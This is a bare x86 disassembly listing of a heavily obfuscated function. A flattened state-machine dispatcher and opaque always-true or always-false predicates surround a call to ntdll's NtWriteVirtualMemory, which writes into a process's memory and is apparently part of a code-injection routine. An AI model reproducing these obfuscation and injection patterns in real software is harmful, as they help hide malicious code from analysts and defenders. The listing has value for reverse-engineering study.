mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x164], 0x6a3c4104
jmp 0x1000fb0a
mov eax, dword [0x10070c88]
mov ecx, dword [0x10070c84]
mov edx, eax
add edx, 0x604a65fc
sub edx, 1
sub edx, 0x604a65fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f5f45ff
mov ecx, 0x129f8e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov ecx, dword [0x10070c88]
mov eax, dword [0x10070c84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78a52eba
mov ecx, 0x782752d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x1000fb0a
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x164], 0xef511fb5
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xc0782b11
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xb45da027
jmp 0x1000fb0a
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x164], 0x2c804619
jmp 0x1000fb0a
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub edx, 0x577cc53f
add edx, eax
add edx, 0x577cc53f
mov eax, dword [ebp - 0x150]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x164], 0x9d4c1872
jmp 0x1000fb0a
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x164], 0x1e2edff2
jmp 0x1000fb0a
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x164], 0xb9cba7be
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xe9c874b2
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x3d452a1f
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x9235a358
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x248baec7
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0xeb275051
jmp 0x1000fb0a
mov dword [ebp - 0x164], 0x3f45c895
jmp 0x1000fb0a
jmp 0x10008be0